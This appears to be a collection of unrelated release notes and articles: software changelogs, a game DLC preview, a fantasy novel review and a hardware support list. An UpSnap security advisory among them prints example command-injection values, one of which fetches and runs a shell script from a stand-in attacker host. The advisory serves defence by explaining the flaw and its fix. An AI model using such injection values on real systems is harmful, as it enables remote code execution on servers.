• read-only demo server at https://a.ocv.me/pub/demo/
• docker image ╱ similar software ╱ client testbed

there is a discord server with an @everyone in case of future important updates, such as vulnerabilities (most recently 2026-03-08)

recent important news

• v1.20.9 (2026-02-25) fixed CVE-2026-27948 (XSS)

🧪 new features

• #1463 opds: improved compatibility with various clients (thx @kamaeff!) 9068ec6
• #1485 users with read-access can now create get-only shares (thx @Scotsguy!) 0bb80e9
• #1466 support the s6 service notification protocol (thx @mobin-2008!) 8c201b8 ca40647
• download-as-zip/tar: the toplevel folder can be renamed with url-param &name=foo or entirely removed with &name cc5420a
• #1487 option to generate music spectrograms with logarithmic frequency scale (thx @9hax!) 83dc20f
• option to set custom name/path for ffmpeg/ffprobe binaries 5e806ec
• #1489 audio playback of mka files

🩹 bugfixes

• #1480 #1482 fix get-only shares not expiring if the creator is removed (thx @celinke97 and @Scotsguy!) 3b53a22
• #1474 toggling between cropped/fullsize coverart for music didn't work 926c6e8
• #1470 files from the year 30828 would break file listing 27031f7
• #1494 fix js-crash when dragging a pic from the gallery out of the browser (thx @icxes!) 7d81b9e
• "fancy markdown editor" didn't work on phones 6183540
• improve signal handling f4f97b6
  • if I messed something up then --sig-thr or send 7x sigterm

🔧 other changes

• docker: the arm32 build of the iv image has graduated 6e75faa
  • copyparty/iv is now only available for i386 / x86_64 / aarch64
• docker: rawpy is no longer bundled; now using libraw directly 348b4bb
  • creating thumbnails of .raw photos is now MUCH slower but quality is also much better
• partyfuse: switch to mfusepy; adds fuse3 support and improves performance b2401ff
• additional advisory tiers for use with the vulnerability-checker 4e9ad78
• clarify behavior of xvol regarding permissions e327183
• packaging/docs:
  • #1479 freebsd: fix deps in rc.d (thx @Kansattica!) f432ef6
  • #1458 macos docs (thx @ilotoki0804!) d7eb556

🌠 fun facts

• there will be a tiny handful of copyparty stickers at dokomi this weekend

💾 what to download?

• except for u2c.exe, all of the options above are mostly equivalent
• the zip and tar.gz files below are just source code
• python packages are available at PyPI

New Setup Process

GHSA-w4jr-728f-5jhq

What changed

The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.

Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.

Why this was necessary

In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.

By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.

RCE via Device IP and MAC Address Injection

GHSA-6mc7-6948-w5h4

What was the issue

UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.

In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:

IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id

When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.

What was fixed

1. Backend: Before substituting {{ DEVICE_IP }} and {{ DEVICE_MAC }} into any shell command, UpSnap additionally validates both values using Go's standard net.ParseIP and net.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing.

2. Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$ for IP, ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$ for MAC). Any write that bypasses the UI is rejected at the database level.

3. HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.

Who is affected

Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.

Changelog

Bug fixes

• 74633e7: fix: use token based superuser setup (@seriousm4x)
• 43f3f65: fix: validate ip and mac addresses to prevent RCE (@seriousm4x)

Others

• dfaf0ee: build(deps-dev): bump @sveltejs/kit from 2.59.1 to 2.60.1 in /frontend (@dependabot[bot])
• 8b08585: build(deps-dev): bump svelte from 5.55.5 to 5.55.7 in /frontend (@dependabot[bot])
• 92f9e29: update deps (@seriousm4x)

v1.20.15

• View downloads
• View release notes

• View downloads
• View release notes

We are happy to bring you another preview from the upcoming Iceland map expansion for Euro Truck Simulator 2, as today, we are taking a closer look at the majestic fjords found in this country!

These glacier-carved inlets are an integral part of the Land of Fire and Ice landscape. They can be found in various locations around the island and are filled with wildlife, towering cliffs, and centuries-old fishing villages.

Capturing Iceland's stunning fjords on our scale presented a unique challenge. In reality, these vast landscapes stretch for kilometers, but at a reduced in-game scale, we needed to carefully balance realism with gameplay so they preserve their breathtaking character and don't lose the sense of grandeur that makes them so iconic.

As a result, players can look forward to routes that faithfully recreate the experience of driving on Iceland's coastline, driving long distances along winding coastal roads to reach the opposite side of a fjord that remains constantly in view, towering majestically beside them the entire journey.

What truly brought these landscapes to life was the presence of water itself. Countless waterfalls, winding streams, tranquil lakes, and bays add a sense of movement and atmosphere to the environment, making Iceland's fjords feel far more vibrant and dynamic than ordinary mountain scenery.

Our map designers also shared some insight into the process behind creating these landscapes. "One of the biggest challenges was modeling and texturing the fjords themselves, which took a considerable amount of time. At the same time, though, it was one of the most enjoyable tasks I've ever had the chance to work on. We also used satellite imagery to better understand how the fjord was formed, so we could design it to look natural even when viewed from different angles and distances," Jan explained.

"At first, the fjords made me feel as if I was looking at another planet. It was hard for me to grasp the sheer scale, size, distance, and shape of these natural formations. But after a while, I began to notice that all the shapes in the rocks have their own logic and continuity. That is exactly the feeling I want to convey to the player who will be driving through these routes. At first glance, they'll be amazed by the size and shape of the fjords, but at the same time, they'll have the chance to look around and understand how the landscape connects," says our map designer, Ashley.

Truckers will encounter a variety of unique locations, each with its own atmosphere. Seyðisfjörður, nestled deep within the bay of the same name, serves as one of the main gateways to Iceland thanks to the ferry connection from Hirtshals in Denmark. Further south in the Eastern Fjords lies Reyðarfjörður, home to an aluminum processing plant depot, while nearby Stöðvarfjörður captures the quiet charm of the Austfirðir region and its coastal settlements.

In the remote and sparsely populated region of the Westfjords, players will drive through Álftafjörður, probably the largest and most imposing fjord featured in this DLC. You will also be able to visit Ísafjörður, a small town built on a narrow headland in Skutulsfjörður, which stands as one of the key economic hubs in the western part of the map.

If you are excited to be trucking in this map expansion, don't forget to support us by adding the Iceland DLC to your Steam wishlist.

Also, remember to give our X/Twitter, Instagram, Facebook, Threads, Bluesky, and TikTok a follow as you'll receive updates from our games straight to your feed. Or subscribe to our newsletter to stay informed. Happy haulin'!

Review: The Keeper of Magical Things, by Julie Leong

The Keeper of Magical Things is a cozy fantasy novel. It is set in the same universe as The Teller of Small Fortunes, but it doesn't share any characters or plot, they're not marketed as a series, and so far as I can remember neither book would spoil the other. It is Julie Leong's second novel.

Certainty Bulrush is a novice mage with one reliable magical ability: She can talk to objects and occasionally convince them to do small things. This ability is clearly magical, which means Certainty is indeed a mage, but this appears to be all that her magic can do. The Guild has requirements for the level of magical ability required to become a full mage that go beyond talking stained quilts into unstaining themselves, which is why Certainty has been a novice for six years.

This by itself is a problem, since Certainty's cohort keeps passing her by. Worse, though, is that she was counting on the wages of a full mage to pay for her brother's training to become an apothecary. The thought of failing him is extremely upsetting. Certainty therefore jumps at an offered mission to take a cartload of excess magical objects that are causing a dangerous build-up of energies in the Guildtower to safe storage in the small and very unmagical village of Shpelling. Successful completion of that mission will earn Certainty a promotion to Deputy Keeper and therefore to a full mage.

This is the opportunity she didn't know to hope for. The only drawback is that she will have to work with Mage Aurelia, the famously off-putting farspeaker and magical scholar the other novices refer to as the ice witch.

Aurelia is every bit as icy, formal, and condescending as Certainty was afraid she would be, Shpelling grows nothing but garlic, and the inhabitants are suspicious and hostile. The mission could be a disaster if it weren't for Certainty's stubborn good nature.

It's arguably a spoiler to say that there's an enemies to lovers romance, but it's hinted at on the cover, mentioned in the publisher's blurb and, honestly, if you aren't expecting an enemies to lovers romance by a few chapters in, you probably haven't read many books of this sort.

I found The Keeper of Magical Things quietly enjoyable but extremely predictable. If you're in the mood for what it's offering, the predictability may not be a problem, but it was the kind of book where the direction the plot was headed was so obvious that I got a bit bored waiting for it to arrive. Certainty has a good heart, humble origins, limited but specialized magical ability, and a self-esteem problem, and if you've read much fantasy, you've probably read two or three or a dozen other books with variations of this protagonist. You know how they generally turn out, and that is indeed what you're going to get after the obligatory setbacks and tragedies and looming catastrophes.

Aurelia, similarly, is a variation on a character you've probably met before. Certainty discovers, not long into the book, that the brilliant over-achieving mage wears a necklace (supposedly to help her focus) that constantly whispers to her how inadequate she is and how much harder she needs to work. The necklace was given to her by her parents. This book is not exactly subtle.

That said, there's nothing wrong with the characterization. Both Certainty and Aurelia are interesting characters with rounded-out personalities, although it takes a while before Certainty (or the reader) is allowed to see Aurelia's. Their interactions with the inhabitants of Shpelling are fun to watch in the same way that it can be fun to watch people play PowerWash Simulator. You're not in overwhelming suspense about what's going to happen, but the details are amusing and it is satisfying to watch people with good intentions slowly fix things. There is a plot, and a villain, and a not-subtle message about how everyone deserves acknowledgment and respect, and the hours I spent reading about these characters were enjoyable.

The problem with this book isn't that there's anything wrong with it, but that it may not give you more enjoyment than another book you could have been reading. I quite liked The Teller of Small Fortunes in part because it surprised me in a few places and the main character felt a bit different than the typical fantasy protagonist. The Keeper of Magical Things felt less original and a bit more obvious and predictable. It was still quietly good-hearted and occasionally charming, and I think I'll still remember Certainty in a few months, but I'm not feeling the urge to push it into anyone's hands.

If you're in the mood for a gentle fantasy about finding solutions to people's problems and waiting out the prickliness of people who desperately need a friend, you may enjoy this a great deal. Just don't expect unpredictable twists and turns or a surprising plot structure.

An apparent third book in this loose series, The Isle of Lonely Monsters, is currently scheduled for publication in 2027.

Rating: 6 out of 10

New features

• Added browser plugin to quickly submit pages from a browser to Part-DB to create parts out of it. As it submits the browser HTML, this allows also for info extraction from pages like ebay, amazon or aliexpress. Plugin is available for Chrome and Firefox
• Added an "unsaved changes" warning, on when a form contains unsaved changes and user tries to navigate away (#1368)
• Changed/Unsaved fields get highlighted with a light blue border in forms
• The discard changes button also now correctly works with rich text editor fields and select fields.

Bug fixes

• Fixed problem with attachment referencing in API (#1370)

Miscellaneous

• Updated dependencies
• Updated translations
• Updated kicad symbols

Full Changelog: v2.11.1...v2.12.0

​

This is an updated alpha build for 5.2 that fixes a handful of issues and crashes.

You can read more about 5.2 and what it includes by reading the release notes for the first alpha.

Change Log

Changes since 5.2 Alpha (build 9625):

• The selection will no longer be tinted when opening an effect or adjustment.
• Improved the latency of the brush tool “preview cursor” by 1 frame.
• Added some extra digits past the decimal place for the zoom level in the status bar.
• Shortened the length of the animations used when closing an image or deleting a layer.
• Fixed Edit -> Paste into New Image not setting the color profile, resulting in it always being sRGB.
• Fixed a rare crash with the brush tools when adjusting the brush size. This crash could only be reproduced with external automation (e.g. macro record/playback with AutoHotKey).
• Fixed copy/paste sometimes adding an extra row or column of pixels around the edge of the image due to bad rounding after floating point precision drift.
• Fixed a crash when pasting images that are CMYK, or which have a LUT-based color profile, or a mismatched color profile (e.g. CMYK profile on RGB image).
• Fixed some issues with copy/paste of indexed (e.g. 8-bit palettized) images.
• Fixed not being able to use new Effect plugins compiled against the 5.2 Alpha (build 9625) binaries.
• Changed the package ZIPs so that they use forward slashes instead of backslashes, which simplifies working with these outside of Windows (e.g. for WINE porting effort).

Download and Install

This build is available via the built-in updater as long as you have opted-in to pre-release updates. From within Settings -> Updates, enable “Also check for pre-release (beta) versions of paint.net” and then click on the Check Now button. You can also use the links below to download an offline installer or portable ZIP.

You can also download the installer here (for any supported CPU and OS), which is also where you can find downloads for offline installers, portable ZIPs, and deployable MSIs.

• AMD Ryzen 7 7700X3D (Raphael) (2.20.1).
• AMD Ryzen AI Max+ 495, 492, 488 (Gorgon Halo).
• AMD Ryzen AI Max 490, 485 (Gorgon Halo).
• AMD Ryzen AI Max PRO 495, 490, 485, 480 (Gorgon Halo).
• AMD Ryzen 9 9950X3D2 (Granite Ridge).
• AMD Ryzen 9 PRO 9965X3D, PRO 9945 (Granite Ridge).
• AMD Ryzen 7 PRO 9755, PRO 9745 (Granite Ridge).
• AMD Ryzen 5 PRO 9645 (Granite Ridge).
• AMD Ryzen AI 7/PRO 450G/GE (Gorgon Point 2).
• AMD Ryzen AI 5/PRO 440G/GE (Gorgon Point 2).
• AMD Ryzen AI 5/PRO 435G/GE (Gorgon Point 3).
• AMD Ryzen AI Max+ 392 (Strix Halo).
• Intel Core Ultra 5 250KF Plus (Arrow Lake Refresh).
• Intel Core 7 360 and 350 (Wildcat Lake).
• Intel Core 5 330, 320 and 315 (Wildcat Lake).
• Intel Core 3 304 (Wildcat Lake).
• Intel Core 9 273PQE, 273PTE, 273PE (Bartlett Lake).
• Intel Core 7 253PQE, 253PTE, 253PE, 251TE, 251E (Bartlett Lake).
• Intel Core 5 223PQE, 223PTE, 223PE, 221TE, 221E, 213PTE, 213PE, 211TE, 211E (Bartlett Lake).
• Intel Core 3 201TE, 201E (Bartlett Lake).
• Intel Arc Pro B70 and B65 (BMG-G31).
• Intel Arc Pro B60 and B50 (BMG-G21).
• Support of HUDIMM and HSODIMM memory modules.